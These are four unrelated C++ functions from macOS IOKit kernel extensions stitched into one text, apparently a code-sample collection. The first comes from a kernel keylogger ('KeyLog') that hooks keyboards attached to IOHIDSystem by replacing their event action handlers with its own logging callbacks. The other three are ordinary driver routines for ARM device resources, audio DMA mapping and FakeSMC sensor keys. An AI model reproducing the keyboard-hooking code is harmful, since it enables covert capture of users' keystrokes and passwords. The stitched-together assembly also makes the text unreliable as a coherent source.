bool com_prebeg_kext_KeyLog::notificationHandler(void *target, void *ref, IOService *newServ, IONotifier *notifier) { com_prebeg_kext_KeyLog* self = OSDynamicCast( com_prebeg_kext_KeyLog, (OSMetaClassBase*)target ); if (!self) return false; #ifdef DEBUG IOLog( "%s::Notification handler called\n", self->getName() ); #endif IOHIKeyboard* keyboard = OSDynamicCast( IOHIKeyboard, newServ ); if (!keyboard) return false; if (!keyboard->_keyboardEventTarget) { #ifdef DEBUG IOLog( "%s::No Keyboard event target\n", self->getName()); #endif return false; } // event target must be IOHIDSystem IOService* targetServ = OSDynamicCast( IOService, keyboard->_keyboardEventTarget ); if (targetServ) { #ifdef DEBUG IOLog( "%s::Keyboard event target is %s\n", self->getName(), targetServ->getName()); #endif } if (!keyboard->_keyboardEventTarget->metaCast("IOHIDSystem")) return false; // we have a valid keyboard to be logged #ifdef DEBUG IOLog( "%s::Adding keyboard %p\n", self->getName(),keyboard ); #endif int index = self->loggedKeyboards->getNextIndexOfObject(keyboard,0); if (index<0) { self->loggedKeyboards->setObject(keyboard); self->kextKeys++; } origAction = keyboard->_keyboardEventAction; // save the original action keyboard->_keyboardEventAction = (KeyboardEventAction) logAction; // apply the new action origSpecialAction = keyboard->_keyboardSpecialEventAction; // save the original action keyboard->_keyboardSpecialEventAction = (KeyboardSpecialEventAction) specialAction; // apply the new action return true; }
IOReturn ARMIODevice::getResources( void ) { IOService *macIO = this; if (getDeviceMemory() != 0) return kIOReturnSuccess; while (macIO && ((macIO = macIO->getProvider()) != 0)) if (strcmp("arm-io", macIO->getName()) == 0) break; if (macIO == 0) return kIOReturnError; IODTResolveAddressing(this, "reg", macIO->getDeviceMemoryWithIndex(0)); return kIOReturnSuccess; }
// ---------------------------------------------------------------------------------------------------- IODBDMAChannelRegisters * PlatformInterfaceDBDMA_Mapped::GetOutputChannelRegistersVirtualAddress ( IOService * dbdmaProvider ) { IOMemoryMap * map; IOService * parentOfParent; debugIOLog (3, "+ PlatformInterfaceDBDMA_Mapped::GetOutputChannelRegistersVirtualAddress ( %p )", dbdmaProvider ); FailIf ( NULL == dbdmaProvider, Exit ); debugIOLog (3, " i2s-x name is %s", dbdmaProvider->getName() ); parentOfParent = (IOService*)dbdmaProvider->getParentEntry ( gIODTPlane ); FailIf ( NULL == parentOfParent, Exit ); debugIOLog (3, " parent of %s is %s", dbdmaProvider->getName(), parentOfParent->getName() ); map = parentOfParent->mapDeviceMemoryWithIndex ( AppleDBDMAAudio::kDBDMAOutputIndex ); FailIf ( NULL == map, Exit ); mIOBaseDMAOutput = (IODBDMAChannelRegisters *) map->getVirtualAddress(); debugIOLog (3, " mIOBaseDMAOutput virtual address %p is at physical address %p", mIOBaseDMAOutput, (void*)map->getPhysicalAddress() ); if ( NULL == mIOBaseDMAOutput ) { debugIOLog (1, " PlatformInterfaceDBDMA_Mapped::GetOutputChannelRegistersVirtualAddress IODBDMAChannelRegisters NOT IN VIRTUAL SPACE" ); } Exit: debugIOLog (3, "- PlatformInterfaceDBDMA_Mapped::GetOutputChannelRegistersVirtualAddress ( %p ) returns %p", dbdmaProvider, mIOBaseDMAOutput ); return mIOBaseDMAOutput; }
FakeSMCKey *FakeSMCDevice::addKeyWithHandler(const char *name, const char *type, unsigned char size, IOService *handler) { KEYSLOCK; FakeSMCKey *key; if ((key = getKey(name))) { IOService *existedHandler = key->getHandler(); if (getHandlingPriority(handler) < getHandlingPriority(existedHandler)) { HWSensorsErrorLog("key %s already handled with prioritized handler %s", name, existedHandler ? existedHandler->getName() : "*Unreferenced*"); key = 0; } else { HWSensorsInfoLog("key %s handler %s has been replaced with new prioritized handler %s", name, existedHandler ? existedHandler->getName() : "*Unreferenced*", handler ? handler->getName() : "*Unreferenced*"); key->setType(type); key->setSize(size); key->setHandler(handler); } } else { FakeSMCDebugLog("adding key %s with handler, type: %s, size: %d", name, type, size); if ((key = FakeSMCKey::withHandler(name, type, size, handler))) { keys->setObject(key); updateKeyCounterKey(); } else { HWSensorsErrorLog("failed to create key %s", name); } } KEYSUNLOCK; return key; }